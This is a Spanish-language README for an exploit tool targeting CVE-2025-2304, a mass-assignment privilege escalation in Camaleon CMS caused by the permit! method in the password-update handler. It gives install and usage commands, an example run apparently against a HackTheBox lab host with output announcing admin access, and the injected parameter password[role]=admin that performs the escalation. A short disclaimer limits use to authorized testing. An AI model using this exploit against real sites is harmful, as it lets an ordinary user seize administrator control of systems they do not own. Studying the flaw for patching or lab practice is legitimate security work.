Exploit CVE-2025-2304

Camaleon CMS vulnerable a escalada de privilegios mediante una asignación masiva

Descripción de la vulnerabilidad

Existe una escalada de privilegios mediante una asignación masiva en Camaleon CMS

Cuando un usuario desea cambiar su contraseña, se llama al método 'updated_ajax' del UsersController. La vulnerabilidad proviene del uso del peligroso método permit!, que permite que todos los parámetros pasen sin ningún filtrado.

Requisitos

pip install requests beautifulsoup4

Uso

python exploit.py --url http://target.com -u username -p password

Argumentos

• --url - URL base de la aplicación vulnerable
• -u - Nombre de usuario para autenticación
• -p - Contraseña para autenticación

Ejemplo

python exploit.py --url http://facts.htb -u krrish -p krrish

Salida:

[*] Iniciando sesión como krrish...
[*] Explotando...
[+] ¡Explotado! Ahora eres administrador

Cómo funciona

1. Autentica con las credenciales proporcionadas
2. Envía solicitud de actualización de contraseña con el parámetro password[role]=admin inyectado
3. Escala los privilegios del usuario a administrador

Aviso legal

Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.

Autor

https://x.com/krrishbhurani

https://www.linkedin.com/in/krrish-bhurani/